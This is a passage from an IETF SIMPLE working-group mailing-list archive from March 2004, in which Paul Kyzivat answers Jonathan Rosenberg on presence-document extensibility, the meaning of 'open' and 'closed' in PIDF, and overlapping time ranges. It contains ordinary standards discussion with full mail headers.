Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 23:51:41 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Jonathan Rosenberg wrote:
> 
> 
> Paul Kyzivat wrote:
> 
>>
>>>> I disagree!
>>>>
>>>> The extension mechanism in callee-caps has means that don't require 
>>>> any registration at all. This is very good for cases when there are 
>>>> features that are very transient. For instance, it is possible to 
>>>> define a feature tag for something like frobitz-sales, or 
>>>> widget-help. And then I can use callerprefs to select an endpoint 
>>>> with the appropriate capability. This allows end users to take 
>>>> advantage of callerprefs for features that matter to them. (Assuming 
>>>> sufficiently smart devices.)
>>>>
>>>> When using presence, I would like the same to hold true. If it is 
>>>> necessary to define a new xml schema before I can announce a 
>>>> capability for widget-help in my presence then nothing this dynamic 
>>>> can be a feature.
> 
> I'm not sure I agree with this premise. Presence is not callee caps. 
> With caller prefs, I can ask to a device that does frobitz-sales, 
> without learning whether there exists such a device, or which it is. 
> Thus, there are no privacy concerns per se with the use case you describe.
> 
> However, if every callee caps attribute automatically goes into pidf, 
> then information can be revealed to a presentity. How do we control 
> that? How would privacy policies work with the extensibility model you 
> desire?

I'm not saying that every callee caps attribute automatically goes into 
pidf. I am only asking that there be defined notation so that any callee 
caps attribute *can* go into pidf.

There are two cases for how it actually gets there:

1) the UA that registers with callee caps also publishes presence with 
the same information, or a restricted subset if it likes.

2) the UA registers with callee caps. The PA subscribes to the reg 
package, collects the callee caps info and publishes it.

Either way, configuration controlled by the UA's user then determines 
how much of that ends up in notifications.

>>> This is definitely a use case where mandating a new XML schema may not
>>> work. I originally thought that making new XML schema would not be that
>>> big deal but if you want this kind of automation then making new XML
>>> schema on the fly may not be possible. Only doubt that I have is that 
>>> can the end point which receives this
>>> information really use it? If this info in generated on the fly then how
>>> the receiving end really knows to look for this?
>>
>> This can work as long as it is a community of users with a common 
>> understanding of what they use. Such a community may have no ability 
>> to alter the code of the devices, so this is the best they can expect.
> 
> It seems you need the ability to modify the devices to take advantage of 
> the extension mechanism you want. As I pointed out during the meeting, 
> the currently documented extension technique works when the callee and 
> the watcher understand the extension, but the presence server does not. 
> In such a case, it seems to me that the devices necessarily have to be 
> able to change, no?

Is this true with the new authentication model? Content will be filtered 
out if not explicitly authorized to be included. There is now plan to 
move to a semantic model. With that model, will there be a way to 
authorize inclusion of entities that aren't understood by the PA?

If that is true, and if it is possible to create ad hoc xml extensions 
to pidf without the involvement of any standards organization, then 
maybe it would be possible to get the same effect as this part of 
prescaps. I'm not sure these ifs are both true. And that would only work 
with (1) above, not (2).

But including these extensions makes it much easier to use the same 
capability model in registration and pidf.

>> The problem here is that a given tag may initially be represented as 
>> an extension tag. Later, somebody decides it would be nice to have a 
>> custom schema for that tag. Once that starts to be implemented there 
>> is an interop problem between those that have adopted the new schema 
>> and those still using the old way.
> 
> Exactly - this is one of the arguments for having just one extensibility 
> mechanism.

In another reply I proposed a solution to this: Require custom scheme 
for feature tags in the sip namespace, but use the extension scheme for 
feature tags in other namespaces. Then the case of something migrating 
will never occur unless it gets a new feature tag name.

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 00:08:09 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA01858
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 00:08:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay28Y-0003qT-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:08:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay27a-0003kS-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:07:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay26c-0003dw-00; Tue, 02 Mar 2004 00:06:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay26S-0003r9-L0; Tue, 02 Mar 2004 00:06:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay25i-0003np-Ba
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:05:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA01743
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:05:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay25g-0003XW-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:05:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay24o-0003Rs-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:04:19 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay246-0003ES-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:03:34 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 01 Mar 2004 21:15:11 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i22533iQ020001;
	Mon, 1 Mar 2004 21:03:03 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user16.cisco.com [10.70.82.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL11705;
	Tue, 2 Mar 2004 00:03:00 -0500 (EST)
Message-ID: <40441582.6040207@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <4041F046.7050207@dynamicsoft.com> <4042B316.4050104@cisco.com> <4043516C.8080704@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 00:02:58 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Jonathan Rosenberg wrote:
> 
> Paul Kyzivat wrote:
> 
>> Jonathan,
>>
>> You really went thru this with a fine toothed comb! I have a couple of 
>> comments below.
>>
>>     Thanks,
>>     Paul
>>
>> Jonathan Rosenberg wrote:
>>
>>>> 3. The Meaning of "open" and "closed"
>>>>
>>>>    PIDF describes the basic status values of "open" or "closed" only as
>>>>    "have meanings of general availability for other communications
>>>>    means". We define "closed" in our context as meaning that
>>>>    communication to the contact address will in all likelihood not
>>>>    succeed, is undesired or will not reach the intended party.  (For
>>>>    example, a presentity may include a hotel phone number as a contact.
>>>>    After check-out, the phone number will still ring, but reach the
>>>>    chambermaid or the next guest.  Thus, it would be declared 
>>>> "closed".)
>>>>    For "pres" contacts, "closed" means that no presence status
>>>>    information is available.
>>>
>>> I think this text is useful - I'm just not sure it belongs here. I 
>>> suspect that it is, at this time, more appropriately located in:
>>>
>>> http://www.ietf.org/internet-drafts/draft-sparks-simple-pdoc-usage-00.txt 
>>
>> The meaning of open and closed in pidf is normative. If we need to 
>> extend the definition of open and closed, then it needs to be in a 
>> normative document. The pdoc-usage document won't be normative, so it 
>> can't be the right place.
> 
> I dont agree. I dont think the text above is changing the normative 
> behavior, its merely expanding on its usage to make it clear.

I think the above *wants* to extend the normative behavior. Currently 
the only normative behavior we have for non-IM communications is:

    The values "open" and "closed" indicate availability to receive
    INSTANT MESSAGES if the <tuple> is for an instant messaging address.
    They also indicate general availability for other communication
    means, but this memo does not specify these in detail.

It is useful to say more in a normative way - to sharpen up the 
definition. Adding the same language in an informative document doesn't 
have the same significance.

	Paul




_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 00:08:41 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA01911
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 00:08:41 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay28b-0004DV-TB
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 00:08:13 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2258DrR016197
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 00:08:13 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay28b-0004Cz-8N
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 00:08:13 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA01873
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 00:08:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay28Y-0003qY-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:08:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay27b-0003kZ-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:07:11 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay26c-0003dw-00; Tue, 02 Mar 2004 00:06:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay26S-0003r9-L0; Tue, 02 Mar 2004 00:06:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay25i-0003np-Ba
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:05:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA01743
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:05:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay25g-0003XW-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:05:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay24o-0003Rs-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:04:19 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay246-0003ES-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:03:34 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 01 Mar 2004 21:15:11 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i22533iQ020001;
	Mon, 1 Mar 2004 21:03:03 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user16.cisco.com [10.70.82.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL11705;
	Tue, 2 Mar 2004 00:03:00 -0500 (EST)
Message-ID: <40441582.6040207@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <4041F046.7050207@dynamicsoft.com> <4042B316.4050104@cisco.com> <4043516C.8080704@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 00:02:58 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Jonathan Rosenberg wrote:
> 
> Paul Kyzivat wrote:
> 
>> Jonathan,
>>
>> You really went thru this with a fine toothed comb! I have a couple of 
>> comments below.
>>
>>     Thanks,
>>     Paul
>>
>> Jonathan Rosenberg wrote:
>>
>>>> 3. The Meaning of "open" and "closed"
>>>>
>>>>    PIDF describes the basic status values of "open" or "closed" only as
>>>>    "have meanings of general availability for other communications
>>>>    means". We define "closed" in our context as meaning that
>>>>    communication to the contact address will in all likelihood not
>>>>    succeed, is undesired or will not reach the intended party.  (For
>>>>    example, a presentity may include a hotel phone number as a contact.
>>>>    After check-out, the phone number will still ring, but reach the
>>>>    chambermaid or the next guest.  Thus, it would be declared 
>>>> "closed".)
>>>>    For "pres" contacts, "closed" means that no presence status
>>>>    information is available.
>>>
>>> I think this text is useful - I'm just not sure it belongs here. I 
>>> suspect that it is, at this time, more appropriately located in:
>>>
>>> http://www.ietf.org/internet-drafts/draft-sparks-simple-pdoc-usage-00.txt 
>>
>> The meaning of open and closed in pidf is normative. If we need to 
>> extend the definition of open and closed, then it needs to be in a 
>> normative document. The pdoc-usage document won't be normative, so it 
>> can't be the right place.
> 
> I dont agree. I dont think the text above is changing the normative 
> behavior, its merely expanding on its usage to make it clear.

I think the above *wants* to extend the normative behavior. Currently 
the only normative behavior we have for non-IM communications is:

    The values "open" and "closed" indicate availability to receive
    INSTANT MESSAGES if the <tuple> is for an instant messaging address.
    They also indicate general availability for other communication
    means, but this memo does not specify these in detail.

It is useful to say more in a normative way - to sharpen up the 
definition. Adding the same language in an informative document doesn't 
have the same significance.

	Paul




_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 00:11:07 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02019
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 00:11:07 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2BQ-00048P-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:11:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2AR-00041z-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:10:08 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay29W-0003wh-00; Tue, 02 Mar 2004 00:09:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay29N-0004Lm-4J; Tue, 02 Mar 2004 00:09:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay28c-0004E0-Vr
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:08:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA01880
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:08:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay28a-0003qn-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:08:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay27f-0003lC-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:07:15 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay277-0003e8-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:06:41 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 01 Mar 2004 21:18:18 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i2256AF8017760;
	Mon, 1 Mar 2004 21:06:10 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user16.cisco.com [10.70.82.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL11818;
	Tue, 2 Mar 2004 00:06:07 -0500 (EST)
Message-ID: <4044163D.8090302@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <4041D501.6040906@dynamicsoft.com> <4042A88A.1070109@cisco.com> <40435205.1040007@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 00:06:05 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Jonathan Rosenberg wrote:
> 
>>> Unfortunately, the nature of the schemas is that the new one cannot 
>>> say where in the PIDF document this is supposed to go. You need to 
>>> specify that this element MUST be a child of <tuple>. Also, can you 
>>> have more than one (I think so)? In that case, can they represent 
>>> overlapping times (I think so)?
>>
>> That is an ugly case, because when there is an overlap, which takes 
>> precedence?
> 
> I had in mind cases where the attributes in the overlapping time-spaces 
> themselves did not overlap, e.g., i was <busy> from 10am-11am and <in a 
> meeting> from 1030am to noon.
> 
> I suppose we could just mandate that the PA only generate notifications 
> with non-overlapping intervals. This forces the PA to do any kind of 
> precedence computations. I think the PA is the only one that can do it.

Your example of overlapping time ranges for orthogonal attributes is a 
good one. I don't think we would want to forbid that.

But maybe we could forbid overlapping time ranges containing an instance 
of the same element.

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 00:11:39 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02078
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 00:11:39 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2BT-0004qV-M7
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 00:11:11 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i225BB2L018621
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 00:11:11 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2BT-0004qG-Eo
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 00:11:11 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02037
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 00:11:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2BQ-00048U-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:11:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2AS-000426-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:10:09 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay29W-0003wh-00; Tue, 02 Mar 2004 00:09:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay29N-0004Lm-4J; Tue, 02 Mar 2004 00:09:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay28c-0004E0-Vr
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:08:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA01880
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:08:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay28a-0003qn-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:08:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay27f-0003lC-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:07:15 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay277-0003e8-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:06:41 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 01 Mar 2004 21:18:18 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i2256AF8017760;
	Mon, 1 Mar 2004 21:06:10 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user16.cisco.com [10.70.82.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL11818;
	Tue, 2 Mar 2004 00:06:07 -0500 (EST)
Message-ID: <4044163D.8090302@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <4041D501.6040906@dynamicsoft.com> <4042A88A.1070109@cisco.com> <40435205.1040007@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 00:06:05 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Jonathan Rosenberg wrote:
> 
>>> Unfortunately, the nature of the schemas is that the new one cannot 
>>> say where in the PIDF document this is supposed to go. You need to 
>>> specify that this element MUST be a child of <tuple>. Also, can you 
>>> have more than one (I think so)? In that case, can they represent 
>>> overlapping times (I think so)?
>>
>> That is an ugly case, because when there is an overlap, which takes 
>> precedence?
> 
> I had in mind cases where the attributes in the overlapping time-spaces 
> themselves did not overlap, e.g., i was <busy> from 10am-11am and <in a 
> meeting> from 1030am to noon.
> 
> I suppose we could just mandate that the PA only generate notifications 
> with non-overlapping intervals. This forces the PA to do any kind of 
> precedence computations. I think the PA is the only one that can do it.

Your example of overlapping time ranges for orthogonal attributes is a 
good one. I don't think we would want to forbid that.

But maybe we could forbid overlapping time ranges containing an instance 
of the same element.

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 00:19:18 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02522
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 00:19:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2JL-00057s-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:19:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2IT-00051M-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:18:26 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2I8-0004uF-00; Tue, 02 Mar 2004 00:18:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2I5-0005X3-8t; Tue, 02 Mar 2004 00:18:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2HR-0005RR-HH
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:17:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02389
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:17:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
